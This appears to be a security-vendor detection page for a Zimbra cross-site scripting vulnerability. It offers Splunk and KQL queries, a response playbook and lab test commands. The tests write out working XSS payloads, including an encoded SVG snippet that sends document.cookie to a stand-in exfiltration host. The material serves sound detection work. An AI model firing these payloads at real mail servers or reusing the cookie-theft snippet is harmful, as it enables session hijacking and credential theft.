Detect Zimbra Collaboration Suite (ZCS) Cross-Site Scripting (XSS) Exploitation in Splunk
Detects exploitation attempts targeting CVE-2025-66376, a cross-site scripting vulnerability in Synacor Zimbra Collaboration Suite (ZCS). This KEV-listed vulnerability allows attackers to inject malicious scripts into the Zimbra web interface, potentially leading to session hijacking, credential theft, or further compromise of email infrastructure. Active exploitation has been confirmed by CISA.
MITRE ATT&CK
SPL Detection Query
index=web OR index=proxy OR index=firewall
| where like(uri_path, "%/zimbra/%") OR like(uri_path, "%/service/home/%") OR like(uri_path, "%/service/soap/%")
| eval xss_indicators=mvappend(
if(match(uri_query, "(?i)(<script|javascript:|onerror=|onload=|onfocus=|onmouseover=)"), "script_tag_or_event_handler", null()),
if(match(uri_query, "(?i)(eval\\(|document\\.cookie|window\\.location|String\\.fromCharCode)"), "js_execution_sink", null()),
if(match(request_body, "(?i)(<script|javascript:|onerror=|onload=|eval\\()"), "body_xss_payload", null()),
if(match(uri_path, "(?i)(<script|javascript:|onerror=)"), "path_xss_payload", null())
)
| where mvcount(xss_indicators) > 0
| stats count as attempt_count, earliest(_time) as first_seen, latest(_time) as last_seen, values(uri_path) as uri_paths, values(xss_indicators) as indicators, values(status) as response_codes by src_ip, http_user_agent
| eval risk=case(attempt_count >= 10, "high", attempt_count >= 3, "medium", true(), "low")
| sort - attempt_countDetects XSS exploitation attempts against Zimbra web interfaces by identifying malicious patterns in URI queries, paths, and request bodies. Groups by source IP to distinguish single probes from sustained campaigns.
Data Sources
Required Sourcetypes
False Positives & Tuning
- Automated vulnerability scanners with broad web application testing profiles
- Email content filters that log raw email body content containing HTML entities
- Legitimate HTML-formatted email previews triggering partial pattern matches
- Encoded search queries from Zimbra desktop or mobile clients
Other platforms for CVE-2025-66376
Testing Methodology
Validate this detection against 4 adversary techniques from Atomic Red Team. Each test below lists the behaviour to exercise and the telemetry you should expect to see. Executable commands and cleanup steps are available with Pro.
- Test 1Basic Reflected XSS Probe Against Zimbra Login
Expected signal: HTTP request to /zimbra/h/search with '<script>' in query parameter visible in web server access logs and WAF logs. Response code 200 or 302 depending on authentication state.
- Test 2Event Handler XSS Payload via Zimbra Mail Search
Expected signal: HTTP GET request with URL-encoded onerror= payload in query string visible in Zimbra access logs. Source IP and full URI captured in web server logs.
- Test 3SVG-Based XSS Payload Injection via Zimbra SOAP API
Expected signal: HTTP POST to /service/soap/ with SVG onload payload in request body. Body content inspection required — perimeter WAF or SIEM HTTP body logging must be enabled to capture this variant.
- Test 4JavaScript URI Scheme XSS in Zimbra Contact Import
Expected signal: HTTP POST to /service/home/ with multipart form data containing vCard. File upload logged in Zimbra access and mailbox logs. The javascript: URI in vCard URL field tests stored XSS if imported contact is rendered without sanitization.
Response Playbook
Triage
- Confirm the targeted host is running Zimbra Collaboration Suite by checking service banners, application logs at /opt/zimbra/log/, or CMDB records. Verify the Zimbra version is within affected range per the vendor advisory at https://wiki.zimbra.com/wiki/Zimbra_Security_Advisories.
- Review the source IP's full request history against the Zimbra endpoint for the past 72 hours. Determine whether the request pattern represents a single targeted probe, a systematic XSS fuzzing campaign, or a successful payload delivery indicated by a 200 response code.
- Inspect Zimbra mailbox and zimbraAdmin logs for any subsequent authenticated sessions originating from the attacking IP or any unusual OAuth token issuance, password changes, or mail forwarding rule additions following the XSS attempt.
- Check if the XSS payload was stored (persistent XSS) by reviewing Zimbra database content for injected script tags in contacts, calendar entries, mail signatures, or shared documents that could execute against other users.
Containment
- If active exploitation is confirmed or a stored XSS payload is discovered, immediately block the source IP at the perimeter firewall and WAF. Enable Zimbra's built-in input sanitization and deploy WAF rules filtering script injection patterns for all /zimbra/ and /service/ URL paths.
- Invalidate all active Zimbra web session tokens (ZM_AUTH_TOKEN) by restarting the Zimbra mailbox service (`zmcontrol restart`) or revoking sessions via the Zimbra Admin Console under Accounts > Sessions. This terminates any hijacked sessions before the attacker can exfiltrate data or pivot to additional accounts.
Evidence Collection
- Collect Zimbra access logs (/opt/zimbra/log/access_log.*), mailbox logs (/opt/zimbra/log/mailbox.log.*), and audit logs (/opt/zimbra/log/audit.log) covering the attack window. Preserve originals with SHA-256 hashes before any log rotation.
- Export Zimbra database records for affected user accounts including mail forwarding rules (zimbraMailForwardingAddress), delegates, and connected third-party applications. Capture browser session artifacts if an admin account was targeted, including any newly created admin accounts or API keys.
Escalation Criteria
- !Escalate immediately if any Zimbra administrator account shows signs of session hijacking: unexpected admin console logins, new admin account creation, global configuration changes, or certificate replacement activity within the attack timeframe.
- !Escalate to incident response if a stored XSS payload is found that has already executed in other users' browsers — this indicates mass credential harvesting or session token exfiltration may have occurred across the entire Zimbra user base.
Investigation Guide
Related Techniques
Forensic Artifacts
- >
Zimbra access logs at /opt/zimbra/log/access_log containing raw HTTP request URIs with injected payloads - >
Zimbra audit logs at /opt/zimbra/log/audit.log recording authentication events, account modifications, and admin actions post-exploitation - >
Browser forensic artifacts on victim endpoints: session storage containing ZM_AUTH_TOKEN values, browser history showing Zimbra webmail access, and network captures showing exfiltration beacons if JavaScript payload included C2 callbacks - >
Zimbra LDAP/database records showing mail forwarding rule additions, delegate access grants, or new connected app authorizations created during the exploitation window
Tuning Guidance
Reduce false positives by building an allowlist of authorized vulnerability scanner IP addresses and excluding them from alerting while retaining logging. Implement URL decoding normalization in your SIEM pipeline before pattern matching to catch encoded payloads (%3Cscript, %3C%2Fscript). Tune confidence to 'high' once WAF blocking is confirmed and only alerting on payloads that bypass WAF (HTTP 200/302 responses). For Zimbra deployments behind a CDN or reverse proxy, ensure the original client IP is preserved via X-Forwarded-For headers to avoid attributing all traffic to the proxy IP.
Hunting Queries
Threat hunt for URL-encoded XSS payloads that may have evaded initial detection. Searches for double and single URL-encoded XSS patterns in Zimbra paths with successful HTTP response codes, indicating possible successful payload delivery rather than blocked attempts.
CommonSecurityLog
| where TimeGenerated >= ago(30d)
| where RequestURL contains "/zimbra/" or csUriStem contains "/zimbra/"
| where EventOutcome in ("200", "201", "302")
| where RequestURL matches regex @"(?i)(%3Cscript|%3C%2Fscript|javascript%3A|onerror%3D|onload%3D|%3Csvg|document%2Ecookie)"
| project TimeGenerated, SourceIP, RequestURL, EventOutcome, RequestClientApplication
| sort by TimeGenerated descindex=web OR index=proxy earliest=-30d
| where (like(uri, "%/zimbra/%") OR like(uri, "%/service/home/%"))
| where status IN ("200", "201", "302")
| where (like(uri, "%25253Cscript%25") OR like(uri, "%2525javascript%25") OR like(uri, "%253Csvg%25") OR like(uri, "%25onerror%25") OR match(uri, "(?i)(%3cscript|javascript:|onerror=|onload=)"))
| stats count by src_ip, uri, status
| sort - countPost-exploitation hunting query for suspicious administrative actions in Zimbra following a potential XSS session hijack. Focuses on account creation, password resets, and privilege escalation that indicate an attacker leveraged a stolen admin session.
AuditLogs
| where TimeGenerated >= ago(14d)
| where OperationName contains "Zimbra" or TargetResources has_any ("/zimbra", "ZCS", "Zimbra")
| where InitiatedBy.user.ipAddress !in (known_admin_ips)
| project TimeGenerated, OperationName, InitiatedBy, TargetResources, Result
| sort by TimeGenerated descindex=zimbra sourcetype=zimbra:audit earliest=-14d
| where action IN ("CreateAccount", "DeleteAccount", "ModifyAccount", "AddAccountAlias", "SetPassword", "AddDistributionListMember")
| stats count, values(src_ip) as src_ips, values(target) as targets by user, action
| where mvcount(src_ips) > 1 OR count > 5Atomic Red Team Tests
Simulates an attacker probing the Zimbra login endpoint with a basic reflected XSS payload to test if user input is reflected unsanitized in the HTTP response. Lab use only against an isolated Zimbra test instance.
Command
curl -sk 'https://ZIMBRA_HOST/zimbra/h/search?q=<script>alert(document.cookie)</script>' -H 'User-Agent: Mozilla/5.0 (XSS-Test)' -o /tmp/zimbra_xss_response.html && grep -i 'script' /tmp/zimbra_xss_response.html | head -20Cleanup
rm -f /tmp/zimbra_xss_response.htmlExpected Telemetry
HTTP request to /zimbra/h/search with '<script>' in query parameter visible in web server access logs and WAF logs. Response code 200 or 302 depending on authentication state.
Expected Detection
KQL/SPL queries matching '<script' pattern in Zimbra URI path. WAF should block and generate an alert; if WAF is absent or misconfigured, SIEM detection fires on the raw log.
Tests Zimbra search functionality with an event-handler-based XSS payload that bypasses simple script-tag filters. Uses an img onerror attribute to test for DOM-based or reflected XSS in search result rendering.
Command
curl -sk -b 'ZM_AUTH_TOKEN=TEST_TOKEN' 'https://ZIMBRA_HOST/zimbra/h/search?q=test%22><img%20src=x%20onerror=alert(1)>&limit=25' -H 'Accept: text/html' -o /tmp/zimbra_onerror_test.html && echo 'Response size:' && wc -c /tmp/zimbra_onerror_test.htmlCleanup
rm -f /tmp/zimbra_onerror_test.htmlExpected Telemetry
HTTP GET request with URL-encoded onerror= payload in query string visible in Zimbra access logs. Source IP and full URI captured in web server logs.
Expected Detection
Detection triggers on 'onerror=' pattern match in Zimbra URL paths. URL-encoded variant (%20onerror%3D) requires SIEM URL-decode normalization to catch — validate this tuning gap.
Simulates a more sophisticated XSS attempt using an SVG onload payload submitted through the Zimbra SOAP API endpoint, testing whether server-side input validation sanitizes XML/SVG content before storage or reflection.
Command
curl -sk -X POST 'https://ZIMBRA_HOST/service/soap/' -H 'Content-Type: application/soap+xml' -H 'User-Agent: ZimbraSOAP-XSS-Test/1.0' -d '<?xml version="1.0" encoding="utf-8" ?><soap:Envelope xmlns:soap="http://www.w3.org/2003/05/soap-envelope"><soap:Body><SearchRequest xmlns="urn:zimbraMail" types="message" limit="1"><query><svg onload="fetch(atob(\"aHR0cHM6Ly9leGZpbC50ZXN0L3hvP2M9\"+btoa(document.cookie)))"/></query></SearchRequest></soap:Body></soap:Envelope>' -o /tmp/zimbra_soap_xss.xml && echo 'SOAP response captured'Cleanup
rm -f /tmp/zimbra_soap_xss.xmlExpected Telemetry
HTTP POST to /service/soap/ with SVG onload payload in request body. Body content inspection required — perimeter WAF or SIEM HTTP body logging must be enabled to capture this variant.
Expected Detection
Detection fires on '<svg' and 'onload=' patterns in HTTP request body if body content inspection is enabled. Tests a critical gap: query-only detections miss POST body payloads. Validates that body-inspection rules are in scope.
Tests the Zimbra contact import functionality with a vCard containing a javascript: URI scheme in a URL field to probe for stored XSS via the contact management interface.
Command
printf 'BEGIN:VCARD\nVERSION:3.0\nFN:XSS Test Contact\nURL:javascript:alert(document.cookie)//\nEND:VCARD\n' > /tmp/xss_contact.vcf && curl -sk -F 'file=@/tmp/xss_contact.vcf' -b 'ZM_AUTH_TOKEN=TEST_TOKEN' 'https://ZIMBRA_HOST/service/home/~/?fmt=vcf&force=1' -o /tmp/zimbra_import_response.html && echo 'Import attempted'Cleanup
rm -f /tmp/xss_contact.vcf /tmp/zimbra_import_response.htmlExpected Telemetry
HTTP POST to /service/home/ with multipart form data containing vCard. File upload logged in Zimbra access and mailbox logs. The javascript: URI in vCard URL field tests stored XSS if imported contact is rendered without sanitization.
Expected Detection
Detection may not fire on this vector unless body inspection covers multipart form fields. This test is designed to identify blind spots in current detection coverage — a negative result (no alert) indicates a tuning gap for file-upload XSS paths.